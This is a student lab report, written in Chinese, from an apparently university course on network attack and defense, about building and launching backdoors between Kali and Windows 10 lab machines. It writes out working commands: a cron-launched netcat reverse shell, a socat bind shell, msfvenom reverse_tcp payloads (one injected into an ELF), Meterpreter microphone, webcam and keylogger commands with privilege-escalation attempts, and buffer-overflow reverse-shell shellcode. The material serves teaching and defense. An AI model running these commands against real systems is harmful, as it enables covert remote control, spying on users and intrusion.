20192415 2021-2022-2 《网络与系统攻防技术》实验二实验报告
20192415 2021-2022-2 《网络与系统攻防技术》实验二实验报告
1.实验内容
1.1 实验要求
- 使用netcat获取主机操作Shell,cron启动某项任务(任务自定)
PS:cron是linux下用来周期性的执行某种任务或等待处理某些事件的一个守护进程 - 使用socat获取主机操作Shell, 任务计划启动
- 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
- 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
- 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
1.2 基础问题回答
-
例举你能想到的一个后门进入到你系统中的可能方式?
非官方渠道下载软件。很多非官方提供的软件版本可能就存在后门或其他安全隐患,这样分享者可能有利可图。
-
例举你知道的后门如何启动起来(win及linux)的方式?
- win:在“任务计划程序”中创建任务,在“注册表”中设置开机自启动等,将恶意程序更名诱导用户点击从而执行
- linux:通过crontab功能设置任务定时启动,对正常程序注入shellcode使其连带启动
-
Meterpreter有哪些给你映像深刻的功能?
Meterpreter就像后门程序的一条龙服务。既能生成后门程序,又能进行本地监听。给我留下最深刻印象的还是截屏、录音、摄像与记录击键记录,通过这些功能可以轻而易举的监控一个人在他的计算机上进行的操作。能够获取计算机使用者各种网络账户的密码,使其隐私暴露无遗。
-
如何发现自己有系统有没有被安装后门?
- 检测网络连接与开放端口,查看是否有IP与本机建立连接
- 安装杀毒软件进行实时防护,定期全面扫描检测电脑安全情况
- 查看“任务计划程序”和“注册表”中是否有可疑任务
- 摄像头、麦克风非使用情况下保持关闭状态
1.3 基础知识
1.3.1 工具
-
netcat:又名nc,ncat。是一个底层工具,进行基本的TCP/UDP数据收发。常被与其他工具结合使用,起到后门的作用。
参数说明: -l, --listen 绑定和监听接入连接(server端使用) -p, --source-port port 指定连接使用的源端口号(client端使用) -s, --source addr 客户端指定连接服务器使用的ip(client端使用) -e, --exec <command> 接收到的命令通过command(例如/bin/bash)执行
-
socat:linux下的一个工具,功能与netcat类似可看做netcat的加强版。有一些netcat所不具备却又很有需求的功能,例如ssl连接。
-
crontab:用来定期执行程序的命令。当安装完成操作系统之后,默认便会启动此任务调度命令。crond 命令每分钟会定期检查是否有要执行的工作,如果有要执行的工作便会自动执行该工作。注意:新创建的 cron 任务,不会马上执行,至少要过 2 分钟后才可以,当然你可以重启 cron 来马上执行。
参数说明: -e : 执行文字编辑器来设定时程表 -r : 删除目前的时程表 -l : 列出目前的时程表
-
msfvenom:免费的、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击,是msfpayload、msfencode的结合体,本身附带数百个已知软件漏洞的专业级漏洞攻击工具。利用msfvenom生成木马程序,并在目标机上执行、在本地监听。
参数说明: -p, --payload <payload> 指定需要使用的payload(攻击荷载) -l, --list [module_type] 列出指定模块的所有可用资源 -n, --nopsled <length> 为payload预先指定一个NOP滑动长度 -f, --format <format> 指定输出格式 -e, --encoder [encoder] 指定需要使用的encoder(编码器) -a, --arch <architecture> 指定payload的目标架构 --platform <platform> 指定payload的目标平台 -s, --space <length> 设定有效攻击荷载的最大长度 -b, --bad-chars <list> 设定规避字符集,比如: '\x00\xff' -i, --iterations <count> 指定payload的编码次数 -c, --add-code <path> 指定一个附加的win32 shellcode文件 -x, --template <path> 指定一个自定义的可执行文件作为模板 -k, --keep 保护模板程序的动作,注入的payload作为一个新的进程运行 --payload-options 列举payload的标准选项 -o, --out <path> 保存payload -v, --var-name <name> 指定一个自定义的变量,以确定输出格式 --shellest 最小化生成payload
2.实验过程
2.1 使用netcat获取主机操作Shell,cron启动某项任务
Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。
Linux是由Cron这个系统服务来控制的。Linux系统上面原本就有非常多的计划性工作,因此这个系统服务是默认启动的。
另外,由于使用者自己也可以设置计划任务,所以,Linux系统也提供了使用者控制计划任务的命令:crontab命令。
本实验我们在kali中使用crontab设置定时任务。
在win10的cmd中输入如下指令,开启监听:
ncat.exe -l -p 2415 #开启监听
在kali中设置定时任务:
crontab -e #打开文字编辑表,这里选择的是/usr/bin/vim.basic
30 * * * * /bin/netcat 172.30.2.46 2415 -e /bin/sh
#设定时程表,在每天每小时的30分钟启动任务,任务内容为启动netcat执行/bin/bash
crontab -l #查看时程表
注意:win监听必须在所设置的时间到达之前就启动,如设定任务在30分时启动,则最晚应在29分时就开始监听
实验效果:
2.2 使用socat获取主机操作Shell, 任务计划启动
在win10中,打开“计算机管理”->“任务计划程序”。选择创建任务,根据需要创建程序。
这里我创建了一个名为20192415xzb,会在2022-3-30的21:48启动的任务。在“程序或脚本”选中socat.exe,并添加以下参数:
tcp-listen:2415 exec:cmd.exe,pty,stderr #把cmd.exe绑定到端口2415,同时把cmd.exe的stderr重定向到stdout
在设定的任务运行前,打开kali终端并连接远程端口:
socat - tcp:172.30.4.253:2415 #连接远程端口
当任务状态由“准备就绪”变为“正在运行”后,会弹出一个socat.exe的窗口。此时可发现已成功获得一个cmd shell:
2.3 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
首先,在kali中使用MSF生成后门程序。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.30.1.27 LPORT=2415 -f exe > 20192415xzb_backdoor.exe #简单版
在win10中打开“病毒与威胁防护”→“设置”,关闭“实时保护”,将后门程序传送给win10:
接收方win10:ncat.exe -l 2415 > 20192415xzb_backdoor.exe #指定端口2415
发送方kali:nc 172.30.2.46 2415 < 20192415xzb_backdoor.exe #172.30.2.46为接收方的IP地址
接下来在kali终端中进入MSF控制台进行配置:
msfconsole #进入控制台
use exploit/multi/handler #使用监听模块,设置payload
set payload windows/meterpreter/reverse_tcp #告诉后门要监听的是哪种,使用和生成后门程序时相同的payload
set LHOST 172.30.1.27 #控制方Kali的IP,需要和之前生成的后门exe时设置的IP相同
set LPORT 2415 #设置端口
show options #展示配置
exploit #开启监听
接下来在win10中运行exe程序,kali可获取win10主机Shell:
2.4 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
在2.3中,我们已经通过MSF生成的可执行文件获取到win10的Shell,这里我们出入指令获取目标主机相关信息。
record_mic -d 10 #截获音频,-d设置录制时间
screenshot #截屏
webcam_snap #使用摄像头拍照
keyscan_start #开始记录击键过程
keyscan_stop #读取击键记录
实验效果如图:
除此之外,我们还可以尝试提高权限:
getuid #获取用户识别码
getsystem #获取system权限
可以看到,此时提权并没有成功,这是因为当前用户实际是在管理组administrators组。
windows操作系统在vista以后增加了一个UAC的功能,英文全称User Access Control,该功能对管理员组的用户起到一定限制,进而保护计算机安全,当我们需要运行一些重要的程序,只有管理员权限才能运行的程序时,UAC功能都会弹出一个对话框,对用户进行询问,当用户点击了同意按钮,程序才会以管理员或system权限运行。
UAC用户账户控制,要求用户在执行可能影响计算机运行的操作,或者在进行可能影响其他用户的设置之前,对用户身份进行验证,以避免恶意软件和间谍软件在未经许可的情况下,在计算机上实施一些恶意行动。需要UAC授权的操作:配置windows update、增加删除账户、更改账户类型、更改UAC设置、安装卸载软件、查看其他用户的文件夹
因此,我们要想提权成功,首先要绕过windows的UAC限制。
我尝试了后门进阶应用Meterprter中的/local/ask模块、/local/bypassuac模块,均未能成功提权,最终只有在win10上使用管理员权限运行后门exe,才得以成功提权(注意端口号2415也是学号后4位)。
查找资料时,与之相关的说明不多,有一条是这样说明的:
UAC提权,必须是在管理员组中,不能在通过webshell获得的IIS组权限,否则因权限太低会导致无法绕过UAC。
2.5 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
2.5.1 MSF生成ELF直接注入pwn1
在kali中使用如下命令将后门注入到pwn20192415中生成pwn20192415_2:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=172.30.1.27 LPORT=2415 -x /root/pwn20192415 -f elf > pwn20192415_2
#payload功能是获取反弹连接shell,所以选择reverse_tcp;要注入到pwn文件中,所以输出格式选择了elf
接着进入MSF控制台,更改payload设置,之后进行监听:
set payload linux/x86/meterpreter/reverse_tcp #告诉后门要监听的是哪种
打开另一个kali终端,运行pwn20192415_2后监听将获取Shell权限:
2.5.2 MSF生成shellcode通过bof注入pwn1
这里我们直接使用Exploit Database Shellcodes中别人上传的shellcode。
先进行与实验一相同的关闭地址随机化等操作,在进入MSF控制台进行配置使payload、lhost、lport等于shellcode一致:
execstack -s pwn20192415 #设置堆栈可执行
echo "0" > /proc/sys/kernel/randomize_va_space #关闭地址随机化
msfconsole #进入控制台
use exploit/multi/handler #使用监听模块,设置payload
set payload linux/x86/shell_reverse_tcp #这里的payload应与下载的shelcode的一致
set LHOST 127.0.0.1 #即本机ip,与下载的shelcode一致
set LPORT 4444 #与下载的shelcode一致
exploit #开启监听
再开启一个终端,先使用perl将字符存在文件shellcode20192415中,后使用cat将其作为pwn20192415的输入:
perl -e 'print "A" x 32;print "\x80\xd3\xff\xff\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"' > input_shellcode20192415
(cat shellcode20192415; cat) | ./pwn20192415 #通过管道符,将shellcode20192415作为pwn20192415的输入
观察监听终端,成功获取Shell权限:
3.问题及解决方案
- 问题1:win10能ping通kali,kali ping不通win10
- 问题1解决方案:将kali设置中的“网络”从“网络地址转换(NAT)”改为“桥接网卡”。
- 问题2:kali控制win10后出现乱码
- 问题2解决方案:控制win10后输入chcp 65001,显示UTF8设置;大部分乱码消失。
CHCP是一个计算机指令,能够显示或设置活动代码页编号。
65001——UTF-8代码页;950——繁体中文;936——简体中文默认的GBK;437——MS-DOS美国英语
- 问题3:MSF生成的后门程序传输给win10后先出现后消失
- 问题3解决方案:先关闭win10中的“实时保护”再传输后门程序,否则将直接隔离或删除后门程序。
- 问题4:getsystem提权失败
- 问题4解决方案:按照后门进阶应用Meterprter尝试使用/local/ask模块、/local/bypassuac模块绕过UAC,但都没有成功。或许是win10的防护太强,也可能所安装的kali版本过早有关,TAT已经准备换kali版本了。后来在win10上使用管理员模式运行后面程序,提前成功。
4.学习感悟、思考等
通过本次实验,我熟悉了netcat、socat和MSF等工具和平台的使用,对linux命令的掌握也更上一层楼。
同时我深入了解了后门原理,并通过自己生成后门程序、反弹式连接等操作获得了其他主机的访问权与控制权。
后门是一扇隐蔽的门,能够方便入侵者再次进入原先入侵过的系统。不正当的后门存在严重威胁着网络安全,应该通过技术手段加强防护。